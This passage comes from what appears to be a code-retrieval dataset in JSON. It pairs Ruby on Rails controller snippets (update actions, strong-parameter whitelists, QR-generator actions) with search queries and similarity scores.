"text": "def update\n respond_to do |format|\n if @event_recurrence.update(event_recurrence_params)\n format.html { redirect_to @event_recurrence, notice: 'Event recurrence was successfully updated.' }\n format.json { render :show, status: :ok, location: @event_recurrence }\n else\n format.html { render :edit }\n format.json { render json: @event_recurrence.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "749a94fb3fc599b65a5bae41f07b9cd2",
"score": "0.5395655",
"text": "def update\n respond_to do |format|\n if @dis_alcohol_interaction.update(dis_alcohol_interaction_params)\n format.html { redirect_to @dis_alcohol_interaction, notice: 'Dis alcohol interaction was successfully updated.' }\n format.json { render :show, status: :ok, location: @dis_alcohol_interaction }\n else\n format.html { render :edit }\n format.json { render json: @dis_alcohol_interaction.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "1b6c92688b5bac5a03542cf728d992a6",
"score": "0.5392615",
"text": "def update\n if @event.update(event_params(params))\n render json: @event, status: 200\n else\n render :json => @event.errors, :status => 422\n end\n end",
"title": ""
},
{
"docid": "152ec37c10baed83b2fab5e465cf4d70",
"score": "0.5391494",
"text": "def update\n respond_to do |format|\n if @female_discus_throw.update(female_discus_throw_params)\n format.html { redirect_to @female_discus_throw, notice: 'Female discus throw was successfully updated.' }\n format.json { render :show, status: :ok, location: @female_discus_throw }\n else\n format.html { render :edit }\n format.json { render json: @female_discus_throw.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "0309798b3ad73b7c4474c6f382753d5d",
"score": "0.53897136",
"text": "def update\n date_format = \"#{appointment_params[\"date(1i)\"]}-#{appointment_params[\"date(2i)\"]}-#{appointment_params[\"date(3i)\"]}\"\n @appointment = Appointment.new(type_appointment_id: appointment_params[:type_appointment_id], description: appointment_params[:description], date: date_format,\n user_id: appointment_params[:user_id], estate_id: appointment_params[:estate_id], doctor_id: appointment_params[:doctor_id])\n \n respond_to do |format|\n if @appointment.update\n format.html { redirect_to @appointment, notice: 'Appointment was successfully updated.' }\n format.json { render :show, status: :ok, location: @appointment }\n else\n format.html { render :edit }\n format.json { render json: @appointment.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "46202fc49070e90d1e7a35353857b724",
"score": "0.53874606",
"text": "def update\n respond_to do |format|\n if @event_service.update_attributes(event_service_params)\n format.html { redirect_to @event_service, notice: 'Event service was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @event_service.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "906eacca5dba718d33698e7a6ede827a",
"score": "0.538615",
"text": "def update\n respond_to do |format|\n if @everyday.update(everyday_params)\n format.html { redirect_to :back, notice: 'Everyday was successfully updated.' }\n format.json { render :show, status: :ok, location: :back }\n else\n format.html { render :edit }\n format.json { render json: @everyday.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "2694d6ee2abb275ab79862fe3e784d5a",
"score": "0.5383662",
"text": "def update\n @hive_event = HiveEvent.find(params[:id])\n\n respond_to do |format|\n if @hive_event.update_attributes(params[:hive_event])\n format.html { redirect_to @hive_event, notice: 'Hive event was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @hive_event.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "3aa7bf775fa56091908e07ff3d280793",
"score": "0.5382625",
"text": "def update\n respond_to do |format|\n if @contract_employee.update(contract_employee_params)\n format.html { redirect_to @contract_employee, notice: 'Contract employee was successfully updated.' }\n format.json { render :show, status: :ok, location: @contract_employee }\n else\n format.html { render :edit }\n format.json { render json: @contract_employee.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "573e8d55a40c8d3c0618a321a6d576c8",
"score": "0.5377768",
"text": "def update\n \n \n @event = Event.find(params[:id])\n\n\n respond_to do |format|\n if @event.update_attributes(params[:event])\n format.html { redirect_to @event, notice: t(:event_updated) }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @event.errors, status: :unprocessable_entity }\n end\n \n end\n end",
"title": ""
},
{
"docid": "6cf5b6d5d475603d492dd5d6e07d1ab2",
"score": "0.53771776",
"text": "def update\n respond_to do |format|\n if @elective_day.update(elective_day_params)\n format.html { redirect_to 'index', notice: 'Elective day was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @elective_day.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "6231256b0dd8afd8a007cde9073c9b7c",
"score": "0.5371002",
"text": "def update\n respond_to do |format|\n if @day.update(day_params)\n format.html { redirect_to days_path, notice: 'Day was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @day.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "827658fc49b9837d450bc53e2ea10c72",
"score": "0.5370665",
"text": "def update\n @weather_event = WeatherEvent.find(params[:id])\n\n respond_to do |format|\n if @weather_event.update_attributes(params[:weather_event])\n format.html { redirect_to @weather_event, notice: 'Weather event was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @weather_event.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "0ea8cbc59fd0f8e894a6fca89a0c8687",
"score": "0.53699857",
"text": "def update\n return forbidden unless user_is_owner\n return bad_request unless @event.update_attributes(event_params)\n render json: @event, status: :ok\n end",
"title": ""
},
{
"docid": "051b3216bf50aba68619fac0a9355a4b",
"score": "0.5361761",
"text": "def update\n # @event = Event.find(params[:id])\n\n respond_to do |format|\n if @event.update_attributes(params[:event])\n format.html { redirect_to @event, notice: 'Event was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @event.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "fa7cc87ffe5eb663dd2a77cc373be131",
"score": "0.53605574",
"text": "def update\n respond_to do |format|\n if @dis_generic_alcohol_interaction.update(dis_generic_alcohol_interaction_params)\n format.html { redirect_to @dis_generic_alcohol_interaction, notice: 'Dis generic alcohol interaction was successfully updated.' }\n format.json { render :show, status: :ok, location: @dis_generic_alcohol_interaction }\n else\n format.html { render :edit }\n format.json { render json: @dis_generic_alcohol_interaction.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
}
] |
c657de4b70d266e9a3a784b999ea9e60 | Never trust parameters from the scary internet, only allow the white list through. | [
{
"docid": "211045cc8dd6266e5f4f6bcbe293ad49",
"score": "0.0",
"text": "def product_application_buy_params\n params.require(:product_application_buy).permit(:buy_date, :application_product_id, :quanity, \n :unit_cost, :total_cost, :supplier_id, :unit_type_id, :image1, :company_id)\n end",
"title": ""
}
] | [
{
"docid": "e164094e79744552ae1c53246ce8a56c",
"score": "0.69792545",
"text": "def strong_params\n params.require(:user).permit(param_whitelist)\n end",
"title": ""
},
{
"docid": "e662f0574b56baff056c6fc4d8aa1f47",
"score": "0.6781151",
"text": "def strong_params\n params.require(:listing_member).permit(param_whitelist)\n end",
"title": ""
},
{
"docid": "1677b416ad07c203256985063859691b",
"score": "0.67419964",
"text": "def allow_params_authentication!; end",
"title": ""
},
{
"docid": "c1f317213d917a1e3cfa584197f82e6c",
"score": "0.674013",
"text": "def allowed_params\n ALLOWED_PARAMS\n end",
"title": ""
},
{
"docid": "547b7ab7c31effd8dcf394d3d38974ff",
"score": "0.6734356",
"text": "def default_param_whitelist\n [\"mode\"]\n end",
"title": ""
},
{
"docid": "a91e9bf1896870368befe529c0e977e2",
"score": "0.6591046",
"text": "def param_whitelist\n [:role, :title]\n end",
"title": ""
},
{
"docid": "b32229655ba2c32ebe754084ef912a1a",
"score": "0.6502396",
"text": "def expected_permitted_parameter_names; end",
"title": ""
},
{
"docid": "3a9a65d2bba924ee9b0f67cb77596482",
"score": "0.6496313",
"text": "def safe_params\n params.except(:host, :port, :protocol).permit!\n end",
"title": ""
},
{
"docid": "068f8502695b7c7f6d382f8470180ede",
"score": "0.6480641",
"text": "def strong_params\n params.require(:team_member).permit(param_whitelist)\n end",
"title": ""
},
{
"docid": "e291b3969196368dd4f7080a354ebb08",
"score": "0.6477825",
"text": "def permitir_parametros\n \t\tparams.permit!\n \tend",
"title": ""
},
{
"docid": "c04a150a23595af2a3d515d0dfc34fdd",
"score": "0.64565",
"text": "def strong_params\n params.require(:community).permit(param_whitelist)\n end",
"title": ""
},
{
"docid": "9a2a1af8f52169bd818b039ef030f513",
"score": "0.6438387",
"text": "def permitted_strong_parameters\n :all #or an array of parameters, example: [:name, :email]\n end",
"title": ""
},
{
"docid": "c5f294dd85260b1f3431a1fbbc1fb214",
"score": "0.63791263",
"text": "def strong_params\n params.require(:education).permit(param_whitelist)\n end",
"title": ""
},
{
"docid": "631f07548a1913ef9e20ecf7007800e5",
"score": "0.63740575",
"text": "def restricted_params\n #params.require(self.controller_name.classify.underscore.to_sym).permit([])\n raise(\"No strong params set, override restricted_params method in your controller. E.g. params.require(:model).permit(:attribute1, :attribute2)\")\n end",
"title": ""
},
{
"docid": "9735bbaa391eab421b71a4c1436d109e",
"score": "0.6364131",
"text": "def allowed_params\n params.require(:user).permit(:username, :email, :password, :password_confirmation)\n end",
"title": ""
},
{
"docid": "12fa2760f5d16a1c46a00ddb41e4bce2",
"score": "0.63192815",
"text": "def param_whitelist\n [:rating, :review]\n end",
"title": ""
},
{
"docid": "f12336a181f3c43ac8239e5d0a59b5b4",
"score": "0.62991166",
"text": "def param_whitelist\n whitelist = [\n :username, :name,\n :parent_id,\n :headline, :description, :video,\n :policy, :signup_mode, :category,\n :website, :facebook, :twitter, :linkedin,\n :founded_at,\n privacy: [\n :events,\n :resources\n ],\n permission: [\n :profile,\n :members,\n :children,\n :statistics,\n :posts,\n :listings,\n :resources,\n :events\n ],\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n \n if action_name === 'update'\n whitelist.delete(:parent_id)\n unless current_user.role_in(@community) === 'owner'\n whitelist.delete(:privacy)\n whitelist.delete(:permission)\n end\n end\n \n whitelist\n end",
"title": ""
},
{
"docid": "c25a1ea70011796c8fcd4927846f7a04",
"score": "0.62978333",
"text": "def param_whitelist\n if @user.present? && current_user != @user\n return [:followed]\n end\n \n whitelist = [\n :username, :email, :password,\n :first_name, :last_name,\n :birthday, :gender,\n :headline, :biography, :ask_about, :focus,\n :website, :facebook, :linkedin, :twitter, :github,\n roles: [],\n skills: [],\n interests: [],\n privacy: { contact: [] },\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n \n if action_name === 'update'\n whitelist.delete(:email)\n whitelist.delete(:password)\n end\n \n whitelist\n end",
"title": ""
},
{
"docid": "822c743e15dd9236d965d12beef67e0c",
"score": "0.6292148",
"text": "def user_params \n \tparams.require(:user).permit(:name, :email, :password, :password_confirmation)# preventing CSTR\n end",
"title": ""
},
{
"docid": "7f0fd756d3ff6be4725a2c0449076c58",
"score": "0.6290449",
"text": "def user_params\n params.permit(:name, :phoneNumber, :address, :postalCode, :local, :link, :counter, :latitude, :longitude) \n end",
"title": ""
},
{
"docid": "9d23b31178b8be81fe8f1d20c154336f",
"score": "0.6290076",
"text": "def valid_params_request?; end",
"title": ""
},
{
"docid": "533f1ba4c3ab55e79ed9b259f67a70fb",
"score": "0.62894756",
"text": "def strong_params\n params.require(:experience).permit(param_whitelist)\n end",
"title": ""
},
{
"docid": "5f16bb22cb90bcfdf354975d17e4e329",
"score": "0.6283177",
"text": "def trim_whitelisted(params, whitelist)\n # remove any parameters that are not whitelisted\n params.each do |key, value|\n # if white listed\n if whitelist.include? key\n # strip the parameters of any extra spaces, save as string\n params[key] = value.to_s.strip\n else\n # delete any unauthorized parameters\n params.delete key\n end\n end\n params\n end",
"title": ""
},
{
"docid": "1dfca9e0e667b83a9e2312940f7dc40c",
"score": "0.6242471",
"text": "def whitelist_url_params\n params.require(:whitelist_url).permit(:domain)\n end",
"title": ""
},
{
"docid": "a44360e98883e4787a9591c602282c4b",
"score": "0.62382483",
"text": "def allowed_params\n params.require(:allowed).permit(:email)\n end",
"title": ""
},
{
"docid": "4fc36c3400f3d5ca3ad7dc2ed185f213",
"score": "0.6217549",
"text": "def permitted_params\n []\n end",
"title": ""
},
{
"docid": "7a218670e6f6c68ab2283e84c2de7ba8",
"score": "0.6214457",
"text": "def trim_whitelisted(params, whitelist)\n # remove any parameters that are not whitelisted\n params.each do |key, value|\n # if white listed\n if whitelist.include? key\n # strip the parameters of any extra spaces, save as string\n params[key] = value.to_s.strip\n else\n # delete any unauthorized parameters\n params.delete key\n end\n end\n params\n end",
"title": ""
},
{
"docid": "b074031c75c664c39575ac306e13028f",
"score": "0.6209053",
"text": "def safe_params\n params.permit(:id, :name, :origin, :emails => []); #emails is an array\n end",
"title": ""
},
{
"docid": "0cb77c561c62c78c958664a36507a7c9",
"score": "0.6193042",
"text": "def query_param\n\t\tparams.permit(:first_name, :last_name, :phone)\n\tend",
"title": ""
},
{
"docid": "9892d8126849ccccec9c8726d75ff173",
"score": "0.6177802",
"text": "def strong_params\n params.require(:success_metric).permit(param_whitelist)\n end",
"title": ""
},
{
"docid": "e3089e0811fa34ce509d69d488c75306",
"score": "0.6174604",
"text": "def devise_filter\r\n logger.debug(\"In devise_filter =>PARAMS: #{params.inspect}\")\r\n\r\n # White list for sign_up\r\n devise_parameter_sanitizer.for(:sign_up) { |u| u.permit(user_whitelist) }\r\n\r\n # White list for account update\r\n devise_parameter_sanitizer.for(:account_update) { |u| u.permit(user_whitelist, :current_password) }\r\n\r\n # White list for Invitation creation\r\n devise_parameter_sanitizer.for(:invite) { |u| u.permit(:account_type, :email, :invitation_token)}\r\n\r\n # White list for accept invitation\r\n devise_parameter_sanitizer.for(:accept_invitation) { |u| u.permit(user_whitelist, :invitation_token)}\r\n\r\n end",
"title": ""
},
{
"docid": "7b7196fbaee9e8777af48e4efcaca764",
"score": "0.61714715",
"text": "def whitelisted_user_params\n params.require(:user).\n permit( :first_name, :last_name, :email,:password,:password_confirmation,:birthday,:gender)\n end",
"title": ""
},
{
"docid": "9d589006a5ea3bb58e5649f404ab60fb",
"score": "0.6161512",
"text": "def user_params\n ActionController::Parameters.permit_all_parameters = true\n params.require(:user) #.permit(:name, :surname, :phone, :password, :email, :time_zone)\n end",
"title": ""
},
{
"docid": "d578c7096a9ab2d0edfc431732f63e7f",
"score": "0.6151757",
"text": "def strong_params\n params.require(:metric_change).permit(param_whitelist)\n end",
"title": ""
},
{
"docid": "38a9fb6bd1d9ae5933b748c181928a6b",
"score": "0.6150663",
"text": "def safe_params\n params.require(:user).permit(:name)\n end",
"title": ""
},
{
"docid": "7a6fbcc670a51834f69842348595cc79",
"score": "0.61461",
"text": "def get_params\n\t\treturn ActionController::Parameters.new(self.attributes).permit(\"account_id\", \"title\", \"category\", \"introduction\", \"tags\", \"segment_type\", \"visible\", \"status\", \"main_image\")\n\tend",
"title": ""
},
{
"docid": "fe4025b0dd554f11ce9a4c7a40059912",
"score": "0.61213595",
"text": "def grant_params\n @whitelisted = params.require(:grant).permit(:name, :description, :agency_id, :acronym)\n end",
"title": ""
},
{
"docid": "fc43ee8cb2466a60d4a69a04461c601a",
"score": "0.611406",
"text": "def check_params; true; end",
"title": ""
},
{
"docid": "60ccf77b296ed68c1cb5cb262bacf874",
"score": "0.6106206",
"text": "def param_whitelist\n whitelist = [\n :description,\n :progress,\n :kpi_id\n ]\n \n unless action_name === 'create'\n whitelist.delete(:kpi_id)\n end\n \n whitelist\n end",
"title": ""
},
{
"docid": "3c8ffd5ef92e817f2779a9c56c9fc0e9",
"score": "0.6105114",
"text": "def quote_params\n params.permit!\n end",
"title": ""
},
{
"docid": "86b2d48cb84654e19b91d9d3cbc2ff80",
"score": "0.6089039",
"text": "def valid_params?; end",
"title": ""
},
{
"docid": "34d018968dad9fa791c1df1b3aaeccd1",
"score": "0.6081015",
"text": "def paramunold_params\n params.require(:paramunold).permit!\n end",
"title": ""
},
{
"docid": "6d41ae38c20b78a3c0714db143b6c868",
"score": "0.6071004",
"text": "def user_params\n\t\tparams.permit(:nickname, :avatar, :description, :password, :gender, :birthday, :email, :phone, :qq_id, :wechat_id)\n\tend",
"title": ""
},
{
"docid": "c436017f4e8bd819f3d933587dfa070a",
"score": "0.60620916",
"text": "def filtered_parameters; end",
"title": ""
},
{
"docid": "49052f91dd936c0acf416f1b9e46cf8b",
"score": "0.6019971",
"text": "def user_params\n params.permit(\n \t:id,\n \t:email, \n \t:first_name, \n \t:last_name, \n \t:password, \n \t:confirm_token, \n \t:phone_number,\n \t:facebook_link,\n \t:car_model,\n \t:license_plate)\n end",
"title": ""
},
{
"docid": "5eaf08f3ad47cc781c4c1a5453555b9c",
"score": "0.601788",
"text": "def filtering_params\n params.permit(:email, :name)\n end",
"title": ""
},
{
"docid": "5ee931ad3419145387a2dc5a284c6fb6",
"score": "0.6011056",
"text": "def check_params\n true\n end",
"title": ""
},
{
"docid": "3b17d5ad24c17e9a4c352d954737665d",
"score": "0.6010898",
"text": "def wx_public_params\n params.require(:wx_public).permit(:nickname, :manager, :alias)\n end",
"title": ""
},
{
"docid": "45b8b091f448e1e15f62ce90b681e1b4",
"score": "0.6005122",
"text": "def allowed_params\n params.require(:user).permit(:email, :password, :role, :first_name, :last_name, :password_confirmation)\n end",
"title": ""
},
{
"docid": "45b8b091f448e1e15f62ce90b681e1b4",
"score": "0.6005122",
"text": "def allowed_params\n params.require(:user).permit(:email, :password, :role, :first_name, :last_name, :password_confirmation)\n end",
"title": ""
},
{
"docid": "74c092f6d50c271d51256cf52450605f",
"score": "0.6001556",
"text": "def listing_params\n\t\tparams.permit(:address, :transit_info, :rules, :other_info, :lat, :lng)\n\tend",
"title": ""
},
{
"docid": "75415bb78d3a2b57d539f03a4afeaefc",
"score": "0.6001049",
"text": "def social_account_params\n\t\t\tparams.require(:social_account).permit!\n\t\tend",
"title": ""
},
{
"docid": "bb32aa218785dcd548537db61ecc61de",
"score": "0.59943926",
"text": "def safe_params\n resurce_name = self.class.resource_name\n params_method_name = \"#{resurce_name}_params\".to_sym\n if params[resurce_name]\n if respond_to?(params_method_name) || private_methods.include?(params_method_name)\n send(params_method_name)\n else\n raise ActiveModel::ForbiddenAttributesError, \"Please, define the '#{params_method_name}' method in #{self.class.name}\"\n end\n end\n end",
"title": ""
},
{
"docid": "65fa57add93316c7c8c6d8a0b4083d0e",
"score": "0.5992201",
"text": "def url_params\n params.require(:url).permit(:short_url, :original_url, :clicks, :ip_addresses)\n end",
"title": ""
},
{
"docid": "865a5fdd77ce5687a127e85fc77cd0e7",
"score": "0.59909594",
"text": "def user_params\n params.require(:user).permit(:uri, :username, :password, :realname, :email, :publicvisible)\n end",
"title": ""
},
{
"docid": "ec609e2fe8d3137398f874bf5ef5dd01",
"score": "0.5990628",
"text": "def model_params\n\t\tparams.require(:manager).permit(\n\t :user_name,\n :password,\n :email,\n \t\t\t)\n\tend",
"title": ""
},
{
"docid": "423b4bad23126b332e80a303c3518a1e",
"score": "0.5980841",
"text": "def article_params_whitelist\n params.require(:article).permit(:title, :description, category_ids: [])\n end",
"title": ""
},
{
"docid": "48e86c5f3ec8a8981d8293506350accc",
"score": "0.59669393",
"text": "def college_whitelist_params\n params.require(:college_whitelist).permit(:status)\n end",
"title": ""
},
{
"docid": "9f774a9b74e6cafa3dd7fcc914400b24",
"score": "0.59589154",
"text": "def active_code_params\n params[:active_code].permit\n end",
"title": ""
},
{
"docid": "a573514ae008b7c355d2b7c7f391e4ee",
"score": "0.5958826",
"text": "def filtering_params\n params.permit(:email)\n end",
"title": ""
},
{
"docid": "2202d6d61570af89552803ad144e1fe7",
"score": "0.5957911",
"text": "def valid_params(params)\n params.permit(:user_id, :photo_id, :originX, :originY, :width, :height)\n end",
"title": ""
},
{
"docid": "8b571e320cf4baff8f6abe62e4143b73",
"score": "0.5957385",
"text": "def ip_address_params\n\t\t\tparams.require(:ip_address).permit!\n end",
"title": ""
},
{
"docid": "d493d59391b220488fdc1f30bd1be261",
"score": "0.5953072",
"text": "def pull_request_params\n whitelist = [\n :url,\n :id,\n :html_url,\n :diff_url,\n :patch_url,\n :issue_url,\n :number,\n :state,\n :locked,\n :title\n ]\n params.require(:pull_request).permit(whitelist)\n end",
"title": ""
},
{
"docid": "f18c8e1c95a8a21ba8cd6fbc6d4d524a",
"score": "0.59526145",
"text": "def reserved_params\n params.require(:reserved).permit(:name, :email, :pax, :address, :KTP, :title)\n end",
"title": ""
},
{
"docid": "4e6017dd56aab21951f75b1ff822e78a",
"score": "0.5943361",
"text": "def post_params\n if current_user.admin? \n params.permit(:title, :body, :city, :country, :gps_location, :privacy, :visible, :latitude, :longitude, images: [], files: [])\n else \n params.permit(:title, :body, :city, :country, :gps_location, :privacy,:latitude, :longitude, images: [], files: [])\n end \n end",
"title": ""
},
{
"docid": "67fe19aa3f1169678aa999df9f0f7e95",
"score": "0.59386164",
"text": "def list_params\n params.permit(:name)\n end",
"title": ""
},
{
"docid": "bd826c318f811361676f5282a9256071",
"score": "0.59375334",
"text": "def filter_parameters; end",
"title": ""
},
{
"docid": "bd826c318f811361676f5282a9256071",
"score": "0.59375334",
"text": "def filter_parameters; end",
"title": ""
},
{
"docid": "5060615f2c808bab2d45f4d281987903",
"score": "0.5933856",
"text": "def vineyard_params\n params.permit(:vineyard_name, :email, :website_url, :phone, :address, :city, :region, :postcode, :country, :specialty, :description, :pet_friendly, :holiday, :tours, :events, :family_friendly, :cover_image, :image_one, :image_two, :image_three, :image_four, :user_id, :base64)\n end",
"title": ""
},
{
"docid": "7fa620eeb32e576da67f175eea6e6fa0",
"score": "0.59292704",
"text": "def available_activity_params\n # params.require(:available_activity).permit(:type,:geometry,:properties)\n whitelisted = ActionController::Parameters.new({\n type: params.require(:available_activity)[:type],\n geometry: params.require(:available_activity)[:geometry].try(:permit!).to_h,\n properties: params.require(:available_activity)[:properties].try(:permit!).to_h\n }).try(:permit!)\n end",
"title": ""
},
{
"docid": "d9483565c400cd4cb1096081599a7afc",
"score": "0.59254247",
"text": "def user_params\n params.permit(:name, :username, :email, :password, :img_url, :bg_url, :coinbank)\n end",
"title": ""
},
{
"docid": "f7c6dad942d4865bdd100b495b938f50",
"score": "0.5924164",
"text": "def user_params_pub\n\t \tparams[:user].permit(:hruid)\n\t end",
"title": ""
},
{
"docid": "70fa55746056e81854d70a51e822de66",
"score": "0.59167904",
"text": "def user_params\n params.permit(:id, :email, :password, :nickname, :status, :avatar, :flat_picture, :flatsharing_id, :member,\n :user, :color, :solde)\n end",
"title": ""
},
{
"docid": "3683f6af8fc4e6b9de7dc0c83f88b6aa",
"score": "0.59088355",
"text": "def validate_search_inputs\n @whitelisted = params.fetch(:user, nil)\n if @whitelisted.blank?\n render_error(400, \"#{I18n.t('general_error.params_missing_key')}\": [I18n.t('general_error.params_missing_value', model: \"review\")])\n return\n else\n @whitelisted = @whitelisted.permit(:name, :uen, :description)\n end\n end",
"title": ""
},
{
"docid": "3eef50b797f6aa8c4def3969457f45dd",
"score": "0.5907542",
"text": "def param_whitelist\n [\n :title,\n :description,\n :organization,\n :team_id,\n :started_at,\n :finished_at,\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n end",
"title": ""
},
{
"docid": "753b67fc94e3cd8d6ff2024ce39dce9f",
"score": "0.59064597",
"text": "def url_whitelist; end",
"title": ""
},
{
"docid": "f9f0da97f7ea58e1ee2a5600b2b79c8c",
"score": "0.5906243",
"text": "def admin_social_network_params\n params.require(:social_network).permit!\n end",
"title": ""
},
{
"docid": "5bdab99069d741cb3414bbd47400babb",
"score": "0.5898226",
"text": "def filter_params\n params.require(:filters).permit(:letters)\n end",
"title": ""
},
{
"docid": "7c5ee86a81b391c12dc28a6fe333c0a8",
"score": "0.589687",
"text": "def origin_params\n params.permit(:country, :state, :city, :postal_code, :address, :description)\n end",
"title": ""
},
{
"docid": "de77f0ab5c853b95989bc97c90c68f68",
"score": "0.5896091",
"text": "def valid_params(params)\n params.permit(:login, :first_name, :last_name, \n :password, :password_confirmation)\n end",
"title": ""
},
{
"docid": "29d030b36f50179adf03254f7954c362",
"score": "0.5894501",
"text": "def sensitive_params=(params)\n @sensitive_params = params\n end",
"title": ""
},
{
"docid": "bf321f5f57841bb0f8c872ef765f491f",
"score": "0.5894289",
"text": "def permit_request_params\n params.permit(:address)\n end",
"title": ""
},
{
"docid": "5186021506f83eb2f6e244d943b19970",
"score": "0.5891739",
"text": "def user_params\n # Ensure a user can't give themselves admin priveleges\n params.delete(:admin) if current_user.admin?\n params.require(:user).permit(:name, :email, :admin, :image)\n end",
"title": ""
},
{
"docid": "b85a12ab41643078cb8da859e342acd5",
"score": "0.58860534",
"text": "def secure_params\n params.require(:location).permit(:name)\n end",
"title": ""
},
{
"docid": "46e104db6a3ac3601fe5904e4d5c425c",
"score": "0.5882406",
"text": "def strong_params\n params.require( :setting ).\n permit( :global_scan_limit, :per_user_scan_limit,\n :target_whitelist_patterns, :target_blacklist_patterns )\n end",
"title": ""
},
{
"docid": "abca6170eec412a7337563085a3a4af2",
"score": "0.587974",
"text": "def question_params\n params.require(:survey_question).permit(question_whitelist)\n end",
"title": ""
},
{
"docid": "26a35c2ace1a305199189db9e03329f1",
"score": "0.58738774",
"text": "def case_insensitive_params\n params.require(:case_insensitive).permit(:name)\n end",
"title": ""
},
{
"docid": "de49fd084b37115524e08d6e4caf562d",
"score": "0.5869024",
"text": "def empire_master_no_match_params\n params.require(:empire_master_no_match).permit(:uid, :last_name, :list, :search_date, :double, :source)\n end",
"title": ""
},
{
"docid": "7b7ecfcd484357c3ae3897515fd2931d",
"score": "0.58679986",
"text": "def maintenance_request_params\n params[:maintenance_request].permit! #allow all parameters for now\n end",
"title": ""
},
{
"docid": "0016f219c5d958f9b730e0824eca9c4a",
"score": "0.5867561",
"text": "def unwanted_params\n params.require(:unwanted).permit(:title, :description, :image)\n end",
"title": ""
},
{
"docid": "8aa9e548d99691623d72891f5acc5cdb",
"score": "0.5865932",
"text": "def url_params\n params[:url].permit(:full)\n end",
"title": ""
},
{
"docid": "c6a8b768bfdeb3cd9ea388cd41acf2c3",
"score": "0.5864461",
"text": "def backend_user_params\n params.permit!\n end",
"title": ""
},
{
"docid": "be95d72f5776c94cb1a4109682b7b224",
"score": "0.58639693",
"text": "def filter_params\n\t\treturn params[:candidate].permit(:name_for_filter)\n\tend",
"title": ""
},
{
"docid": "967c637f06ec2ba8f24e84f6a19f3cf5",
"score": "0.58617616",
"text": "def speed_measurement_params\n\n #fuckit, to lazy to deal with permit crap right now\n ActionController::Parameters.permit_all_parameters = true\n\n params[:speed_measurement]\n end",
"title": ""
},
{
"docid": "e4a29797f9bdada732853b2ce3c1d12a",
"score": "0.5861436",
"text": "def user_params\n params.permit(:name, :age, :username, :display_photo, :password)\n end",
"title": ""
},
{
"docid": "d14f33ed4a16a55600c556743366c501",
"score": "0.5860451",
"text": "def get_params\r\n #params.require(:article).permit(:title, :permalink, :content, :source_site, :introtext, :type_id, :order_by, :searchable, :created_by, :edited_by, :published_by, :published_on, :user_id)\r\n params.require(:article).permit!\r\n\r\n end",
"title": ""
},
{
"docid": "46cb58d8f18fe71db8662f81ed404ed8",
"score": "0.58602303",
"text": "def pub_params\n params.require(:pub).permit(:name, :description, :phone, :email, :hidden, :city_id, :address)\n end",
"title": ""
},
{
"docid": "7e9a6d6c90f9973c93c26bcfc373a1b3",
"score": "0.5854586",
"text": "def pass_params\n params[:pass].permit(:name, :price, :description, :colour, :events)\n end",
"title": ""
},
{
"docid": "ad61e41ab347cd815d8a7964a4ed7947",
"score": "0.58537364",
"text": "def droptraining_params\n params.permit(:training_id,:user_id, :utf8, :authenticity_token, :commit)\n end",
"title": ""
},
{
"docid": "8894a3d0d0ad5122c85b0bf4ce4080a6",
"score": "0.5850427",
"text": "def person_params\n # params whitelist does *not* include admin, sub, remember_token\n # TBD: share this whitelist with the list used by configuration_permitted_parameters\n # TBD: should current_password be on this list? -- for now, leaving off, since it seems to work without\n # NOTE: do not include 'admin' in this list!\n params.require(:person).permit(\n :name, \n :email, \n :description,\n :password, \n :password_confirmation\n )\n end",
"title": ""
},
{
"docid": "53d84ad5aa2c5124fa307752101aced3",
"score": "0.5850199",
"text": "def parameter_params\n params.require(:parameter).permit(:name, :description, :param_code, :param_value, :active_from, :active_to)\n end",
"title": ""
}
] |
dd8d3cb4e3cc3a75e51d71a79f056404 | GET /qrgenerators/1 GET /qrgenerators/1.json | [
{
"docid": "feafa77312c4320c8785020e4adeb7a3",
"score": "0.5756263",
"text": "def show\n rotp_service = RotpService.new()\n # secret = @Qrgenerator.otp_secret\n email_or_mobile = \"pravin@example.com\"\n @qr_details = rotp_service.get_qr_code_details(email_or_mobile)\n @qr = RQRCode::QRCode.new( @qr_details[:qr], :size => 10, :level => :m )\n end",
"title": ""
}
] | [
{
"docid": "f2c7d1650a7df998f180fea33559f77c",
"score": "0.7436751",
"text": "def index\n @qrgenerators = Qrgenerator.all\n end",
"title": ""
},
{
"docid": "26f9ca8e5040b8c234b188821c9a6883",
"score": "0.68099713",
"text": "def create\n @qrgenerator = Qrgenerator.new(qrgenerator_params)\n respond_to do |format|\n if @qrgenerator.save\n format.html { redirect_to @qrgenerator, notice: 'Qrgenerator was successfully created.' }\n format.json { render :show, status: :created, location: @qrgenerator }\n else\n format.html { render :new }\n format.json { render json: @qrgenerator.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
